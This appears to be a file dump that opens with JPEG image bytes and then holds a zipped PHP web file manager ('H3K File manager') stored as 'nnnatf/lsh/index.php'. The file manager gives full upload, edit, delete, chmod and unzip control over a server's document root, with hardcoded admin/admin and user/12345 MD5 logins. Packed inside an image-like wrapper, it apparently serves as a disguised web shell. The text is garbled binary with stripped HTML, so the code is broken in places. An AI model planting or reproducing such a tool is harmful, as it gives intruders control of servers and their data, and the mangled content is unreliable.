ÿØÿà JFIF    ÿÛ „ ( %"1!%)+...383,7(-.+  -+++--++++---+-+-----+---------------+---+-++7-----ÿÀ  ß â" ÿÄ    ÿÄ H   !1AQaq"‘¡2B±ÁÑð#R“ÒTbr‚²á3csƒ’ÂñDS¢³$CÿÄ   ÿÄ %  !1AQa"23‘ÿÚ   ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6  öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ "Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷󲍷˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz¥OÛ«!1›üä±Í™%ºÍãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%ÌÁ²h´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ǍýʏTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆѪQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»& î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$˝Úsäÿ ÷Û #°xŸëí(l »ý3—¥5m! rt`†0~'j2(]S¦¦kv,ÚÇ l¦øJA£Šƒ J3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡*….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉ䢍mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ñ#ºI¤Å´%çÁ­‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±bLô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U  Z©RÊÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD é©¤&‡ïDbàÁôMÁ.ÿØÿà JFIF    ÿÛ „ ( %"1!%)+...383,7(-.+  -+++--++++---+-+-----+---------------+---+-++7-----ÿÀ  ß â" ÿÄ    ÿÄ H   !1AQaq"‘¡2B±ÁÑð#R“ÒTbr‚²á3csƒ’ÂñDS¢³$CÿÄ   ÿÄ %  !1AQa"23‘ÿÚ   ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6  öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ "Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷󲍷˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz¥OÛ«!1›üä±Í™%ºÍãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%ÌÁ²h´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ǍýʏTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆѪQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»& î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$˝Úsäÿ ÷Û #°xŸëí(l »ý3—¥5m! rt`†0~'j2(]S¦¦kv,ÚÇ l¦øJA£Šƒ J3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡*….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉ䢍mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ñ#ºI¤Å´%çÁ­‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±bLô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U  Z©RÊÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD é©¤&‡ïDbàÁôMÁ.PKǫ4\2!nnnatf/lsh/index.phpnuW+A 'Password', 'Username2' => 'Password2', ...), Password has to encripted into MD5 $auth_users = array( 'admin' => '21232f297a57a5a743894a0e4a801fc3', //admin 'user' => '827ccb0eea8a706c4c34a16891f84e7b', //12345 ); // Readonly users (usernames array) $readonly_users = array( 'user' ); // Show or hide files and folders that starts with a dot $show_hidden_files = true; // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Send files though mail $send_mail = false; // Send files though mail $toMailId = ""; //yourmailid@mail.com // Default timezone for date() and time() - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong $http_host = $_SERVER['HTTP_HOST']; // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date $datetime_format = 'd.m.y H:i'; // allowed upload file extensions $upload_extensions = ''; // 'gif,png,jpg' // show or hide the left side tree view $show_tree_view = false; //Array of folders excluded from listing $GLOBALS['exclude_folders'] = array( ); // include user config php file if (defined('FM_CONFIG') && is_file(FM_CONFIG) ) { include(FM_CONFIG); } //--- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL // if fm included if (defined('FM_EMBED')) { $use_auth = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter(''); session_name('filemanager'); session_start(); } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // clean and check $root_path $root_path = rtrim($root_path, '\\/'); $root_path = str_replace('\\', '/', $root_path); if (!@is_dir($root_path)) { echo "

Root path \"{$root_path}\" not found!

"; exit; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION['logged']); fm_redirect(FM_SELF_URL); } // Show image here if (isset($_GET['img'])) { fm_show_image($_GET['img']); } // Auth if ($use_auth) { if (isset($_SESSION['logged'], $auth_users[$_SESSION['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) { // Logging In sleep(1); if (isset($auth_users[$_POST['fm_usr']]) && md5($_POST['fm_pwd']) === $auth_users[$_POST['fm_usr']]) { $_SESSION['logged'] = $_POST['fm_usr']; fm_set_msg('You are logged in'); fm_redirect(FM_SELF_URL . '?p='); } else { unset($_SESSION['logged']); fm_set_msg('Wrong password', 'error'); fm_redirect(FM_SELF_URL); } } else { // Form unset($_SESSION['logged']); fm_show_header_login(); fm_show_message(); ?>
H3K File manager


%s deleted' : 'File %s deleted'; fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? 'Folder %s not deleted' : 'File %s not deleted'; fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg('Wrong file or folder name', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Create folder if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) { $new = strip_tags($_GET['new']); $type = $_GET['type']; $new = fm_clean_path($new); $new = str_replace('/', '', $new); if ($new != '' && $new != '..' && $new != '.') { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if($_GET['type']=="file") { if(!file_exists($path . '/' . $new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: '.$new); fm_set_msg(sprintf('File %s created', fm_enc($new))); } else { fm_set_msg(sprintf('File %s already exists', fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf('Folder %s created', $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf('Folder %s already exists', fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf('Folder %s not created', fm_enc($new)), 'error'); } } } else { fm_set_msg('Wrong folder name', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = $_GET['copy']; $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg('Source path not defined', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); // copy/move if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf('Moved from %s to %s', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg('File or folder with this path already exists', 'alert'); } else { fm_set_msg(sprintf('Error while moving from %s to %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf('Copyied from %s to %s', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { fm_set_msg('Paths must be not equal', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) { // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg('Paths must be not equal', 'alert'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Rename if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) { // old name $old = $_GET['ren']; $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = $_GET['to']; $new = fm_clean_path($new); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if ($old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf('Renamed from %s to %s', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf('Error while renaming from %s to %s', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg('Names not set', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Download if (isset($_GET['dl'])) { $dl = $_GET['dl']; $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($path . '/' . $dl) . '"'); header('Content-Transfer-Encoding: binary'); header('Connection: Keep-Alive'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($path . '/' . $dl)); readfile($path . '/' . $dl); exit; } else { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // Upload if (isset($_POST['upl']) && !FM_READONLY) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $total = count($_FILES['upload']['name']); $allowed = (FM_EXTENSION) ? explode(',', FM_EXTENSION) : false; for ($i = 0; $i < $total; $i++) { $filename = $_FILES['upload']['name'][$i]; $tmp_name = $_FILES['upload']['tmp_name'][$i]; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext,$allowed) : true; if (empty($_FILES['upload']['error'][$i]) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if (move_uploaded_file($tmp_name, $path . '/' . $_FILES['upload']['name'][$i])) { $uploads++; } else { $errors++; } } } if ($errors == 0 && $uploads > 0) { fm_set_msg(sprintf('All files uploaded to %s', fm_enc($path))); } elseif ($errors == 0 && $uploads == 0) { fm_set_msg('Nothing uploaded', 'alert'); } else { fm_set_msg(sprintf('Error while uploading files. Uploaded files: %s', $uploads), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Mass deleting if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg('Selected files and folder deleted'); } else { fm_set_msg('Error while deleting items', 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Pack files if (isset($_POST['group'], $_POST['zip']) && !FM_READONLY) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!class_exists('ZipArchive')) { fm_set_msg('Operations with archives are not available', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $files = $_POST['file']; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.zip'; } else { $zipname = 'archive_' . date('ymd_His') . '.zip'; } $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); if ($res) { fm_set_msg(sprintf('Archive %s created', fm_enc($zipname))); } else { fm_set_msg('Archive not created', 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Unpack if (isset($_GET['unzip']) && !FM_READONLY) { $unzip = $_GET['unzip']; $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!class_exists('ZipArchive')) { fm_set_msg('Operations with archives are not available', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; //to folder $tofolder = ''; if (isset($_GET['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); if ($res) { fm_set_msg('Archive unpacked'); } else { fm_set_msg('Archive not unpacked', 'error'); } } else { fm_set_msg('File not found', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg('Permissions changed'); } else { fm_set_msg('Permissions not changed', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } /*************************** /ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); if (is_array($objects)) { foreach ($objects as $file) { if ($file == '.' || $file == '..' && in_array($file, $GLOBALS['exclude_folders'])) { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (is_file($new_path)) { $files[] = $file; } elseif (is_dir($new_path) && $file != '.' && $file != '..' && !in_array($file, $GLOBALS['exclude_folders'])) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path ?>

Uploading files

Destination folder:







  Cancel

Copying

' . PHP_EOL; } ?>

Files: , ', $copy_files) ?>

Source folder:
/

  Cancel

Copying

Source path:
Destination folder:

Copy   Move   Cancel

Select folder

""

Full path:
File size: = 1000): ?> ()
MIME-type:
Files in archive:
Total size:
Size in archive:
Compression: %
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

Download   Open   UnZip   UnZip to folder   Edit   Advanced Edit   Mail   Back

'; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fm_enc($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo ''; } else { echo '

Error while fetching archive info

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fm_enc($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fm_enc($content) . '
'; } echo $content; } ?>
'. htmlspecialchars($content) .''; } elseif ($is_text) { echo '
'. htmlspecialchars($content) .'
'; } else { fm_set_msg('FILE EXTENSION HAS NOT SUPPORTED', 'error'); } ?>


Owner Group Other
Read
Write
Execute

  Cancel

Browse
'?'); $group = array('name' => '?'); } ?> '?'); $group = array('name' => '?'); } ?>
NameSize Modified PermsOwner Actions
..
' . readlink($path . '/' . $f) . '' : '') ?>
Folder
' . readlink($path . '/' . $f) . '' : '') ?>
Full size: , files: , folders:
= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path) { $path = trim($path); $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { if ($size < 1000) { return sprintf('%s B', $size); } elseif (($size / 1024) < 1000) { return sprintf('%s KiB', round(($size / 1024), 2)); } elseif (($size / 1024 / 1024) < 1000) { return sprintf('%s MiB', round(($size / 1024 / 1024), 2)); } elseif (($size / 1024 / 1024 / 1024) < 1000) { return sprintf('%s GiB', round(($size / 1024 / 1024 / 1024), 2)); } else { return sprintf('%s TiB', round(($size / 1024 / 1024 / 1024 / 1024), 2)); } } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path) { if (function_exists('zip_open')) { $arch = zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = zip_read($arch)) { $zip_name = zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => zip_entry_filesize($zip_entry), 'compressed_size' => zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } zip_close($arch); return $filenames; } } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * This function scans the files folder recursively, and builds a large array * @param string $dir * @return json */ function scan($dir){ $files = array(); $_dir = $dir; $dir = FM_ROOT_PATH.'/'.$dir; // Is there actually such a folder/file? if(file_exists($dir)){ foreach(scandir($dir) as $f) { if(!$f || $f[0] == '.') { continue; // Ignore hidden files } if(is_dir($dir . '/' . $f)) { // The path is a folder $files[] = array( "name" => $f, "type" => "folder", "path" => $_dir.'/'.$f, "items" => scan($dir . '/' . $f), // Recursively get the contents of the folder ); } else { // It is a file $files[] = array( "name" => $f, "type" => "file", "path" => $_dir, "size" => filesize($dir . '/' . $f) // Gets the size of this file ); } } } return $files; } /** * Scan directory and return tree view * @param string $directory * @param boolean $first_call */ function php_file_tree_dir($directory, $first_call = true) { // Recursive function called by php_file_tree() to list directories/files $php_file_tree = ""; // Get and sort directories/files if( function_exists("scandir") ) $file = scandir($directory); natcasesort($file); // Make directories first $files = $dirs = array(); foreach($file as $this_file) { if( is_dir("$directory/$this_file" ) ) { if(!in_array($this_file, $GLOBALS['exclude_folders'])){ $dirs[] = $this_file; } } else { $files[] = $this_file; } } $file = array_merge($dirs, $files); if( count($file) > 2 ) { // Use 2 instead of 0 to account for . and .. "directories" $php_file_tree = "" . htmlspecialchars($this_file) . ""; $php_file_tree .= php_file_tree_dir("$directory/$this_file", false); $php_file_tree .= ""; } else { // File $ext = fm_get_file_icon_class($this_file); $path = str_replace($_SERVER['DOCUMENT_ROOT'],"",$directory); $link = "?p="."$path" ."&view=".urlencode($this_file); $php_file_tree .= "
  • " . htmlspecialchars($this_file) . "
  • "; } } } $php_file_tree .= ""; } return $php_file_tree; } /** * Scan directory and render tree view * @param string $directory */ function php_file_tree($directory) { // Remove trailing slash $code = ""; if( substr($directory, -1) == "/" ) $directory = substr($directory, 0, strlen($directory) - 1); if(function_exists('php_file_tree_dir')) { $code .= php_file_tree_dir($directory); return $code; } } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION['message'] = $msg; $_SESSION['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'zip': case 'rar': case 'gz': case 'tar': case '7z': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': $img = 'fa fa-clipboard'; break; case 'doc': case 